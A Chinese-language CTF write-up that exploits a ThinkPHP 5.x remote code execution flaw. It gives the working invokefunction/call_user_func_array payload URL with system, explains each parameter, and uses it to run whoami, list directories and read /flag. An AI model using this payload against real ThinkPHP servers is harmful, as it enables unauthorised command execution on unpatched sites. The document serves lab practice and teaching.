题目
上来就看到thinkphp应该就是考察框架漏洞,直接查相关漏洞
RCE:远程代码执行漏洞
远程命令/代码执行漏洞,简称RCE漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。RCE分为远程命令执行ping和远程代码执行evel。
漏洞产生的根本原因
服务器没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令
该漏洞是由于ThinkPHP5在处理控制器传参时,没有对参数进行充分的过滤与验证,导致恶意用户可以通过提交恶意数据,构造出一个带有PHP函数的控制器方法,并通过URL参数的形式访问该方法,从而触发远程代码执行漏洞。
Thinkphp v5.x 远程代码执行漏洞复现及POC集合-CSDN博客
ThinkPHP 5.x 远程命令执行漏洞分析与复现 | PHP 技术论坛 (learnku.com)
Thinkphp 5.x 远程代码执行漏洞利用小记 - Scivous - 博客园 (cnblogs.com)
随便构造个参数报错
拿到版本号
攻击exp
index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
index.php
,这是ThinkPHP框架的默认入口文件。-
?s=index/think\app/invokefunction:
s
参数通常用于指定ThinkPHP框架中的模块/控制器/方法。在这里,它指向了一个名为think\app\invokefunction
的方法或功能。 -
&function=call_user_func_array:
这个参数告诉invokefunction
方法要调用的函数是call_user_func_array
。call_user_func_array
是PHP中的一个函数,它用于调用一个用户自定义的函数,并为其传递一个参数数组。 -
&vars[0]=system:
这是传递给call_user_func_array
的第一个参数。它指定了要调用的函数是system
。system
是PHP中的一个函数,它用于执行外部程序,并显示输出。 -
&vars[1][]=whoami:
这是传递给call_user_func_array
的第二个参数,它是一个数组。在这里,它只包含一个元素:whoami
。whoami
是一个常见的Unix命令,用于显示当前用户的名称
index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls /
查看根目录下的文件
查看 flag目录下的文件
index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls /flag
查看/flag文件
index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat
/flag